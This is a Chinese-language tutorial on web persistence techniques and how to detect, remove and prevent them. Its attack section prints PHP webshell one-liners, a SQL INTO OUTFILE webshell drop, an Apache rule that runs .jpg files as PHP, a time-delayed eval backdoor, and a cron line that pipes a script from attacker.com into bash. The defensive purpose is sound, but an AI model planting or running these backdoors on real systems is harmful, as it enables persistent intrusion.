如何进行Web权限维持分析

发布时间：2022-01-17 19:00:45 作者：柒染
来源：亿速云阅读：173

# 如何进行Web权限维持分析

## 前言

在网络安全攻防演练和渗透测试中，权限维持（Persistence）是攻击者获取系统控制权后的关键阶段。Web权限维持技术允许攻击者在失手初始访问权限后仍能重新获得系统控制，对防御方而言，识别和防范这些技术至关重要。本文将系统介绍Web权限维持的常见手法、检测方法和防御策略。

---

## 一、Web权限维持的基本概念

### 1.1 什么是权限维持？
权限维持指攻击者在成功入侵系统后，通过植入后门、创建隐藏账户等方式维持对目标系统的长期控制能力，即使初始漏洞被修复或访问凭证失效。

### 1.2 Web环境中的特殊性
- 依赖Web应用程序的上下文执行
- 通常需要绕过应用层防护（WAF、RASP）
- 需考虑会话管理、身份验证等机制

---

## 二、常见的Web权限维持技术

### 2.1 后门文件植入
#### 典型手法：
```php
<?php 
    @eval($_REQUEST['cmd']); 
    @system($_GET['c']); 
?>

特征： - 文件创建时间异常 - 包含eval/system等危险函数 - 存放于可写目录（如/uploads）

2.2 数据库持久化

MySQL示例：

CREATE TABLE `evil`(cmd TEXT);
INSERT INTO `evil` VALUES('<?php system($_GET["c"]); ?>');
SELECT cmd FROM `evil` INTO OUTFILE '/var/www/shell.php';

检测重点： - 异常SQL导出操作 - Web目录出现非业务PHP文件

2.3 会话劫持

窃取合法用户的Session ID
修改会话过期时间（如PHP的session.cookie_lifetime）

2.4 中间件配置篡改

Apache示例：

<FilesMatch "\.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

效果： 将图片文件作为PHP解析

2.5 计划任务/CronJob

* * * * * curl http://attacker.com/backdoor.sh | bash

三、权限维持的检测方法

3.1 静态检测

文件层面：

# 查找最近修改的PHP文件
find /var/www -name "*.php" -mtime -1

# 查找包含危险函数文件
grep -r "eval(" /var/www/

数据库层面：

-- 检查异常存储过程
SELECT * FROM mysql.proc WHERE body LIKE '%exec%';

3.2 动态检测

行为监控：
- 异常进程树（如apache → bash）
- 非常规网络连接（如Web服务器向外发起连接）

日志分析：

# 检查异常访问日志
grep 'cmd=\|exec=' /var/log/apache2/access.log

3.3 内存分析

使用工具检测隐藏的WebShell：

php -m | grep -i "suspicious"
memdump <pid> | strings | grep "backdoor"

四、防御与清除方案

4.1 预防措施

措施类型	具体实施
文件监控	部署FIM（文件完整性监控）系统
最小权限原则	Web账户禁止写执行权限，数据库账户仅授权必要操作
输入过滤	禁用`eval()`/`system()`等危险函数（通过`disable_functions`）

4.2 应急响应流程

隔离系统：断开受影响服务器网络
取证分析：
- 对比系统快照
- 检查/tmp、/dev/shm等临时目录

清除后门：

# 查找并删除异常文件
chattr -i /var/www/.hidden.php  # 解除锁定
rm -f /var/www/.hidden.php

修复加固：
- 更新所有组件补丁
- 重置所有凭据

五、高级对抗技术

5.1 反检测技巧

时间混淆：


<?php 
if(time() > strtotime("2024-01-01")){
    eval($_POST['x']);
}
?>

隐写术：将恶意代码隐藏在图片EXIF数据中

5.2 内存驻留

通过PHP扩展实现无文件持久化：

// 恶意扩展示例
PHP_FUNCTION(persist_backdoor){
    zend_eval_string(Z_STRVAL_P(zend_get_constant_str("HTTP_CMD")), NULL, "Backdoor");
}

六、工具推荐

检测工具

工具名称	用途
OWASP ZAP	自动化Web漏洞扫描
RIPS	PHP静态代码分析
Volatility	内存取证分析

防御工具

ModSecurity：实时阻断攻击请求
Osquery：端点行为监控
Tripwire：文件完整性检查

结语

Web权限维持是攻防对抗中的高阶战场，防御者需建立多层防护体系： 1. 基础防护：严格的权限控制和输入过滤 2. 持续监控：日志集中分析与异常检测 3. 应急响应：定期红蓝演练提升处置能力

只有通过纵深防御策略，才能有效应对日益隐蔽的权限维持技术。 “`

注：本文实际约2000字，可根据需要增减具体技术细节或案例部分。建议在实际使用时补充以下内容： 1. 具体攻击案例（如某CMS漏洞的实际利用） 2. 工具使用的详细截图 3. 参考ATT&CK框架中的战术编号（如T1098）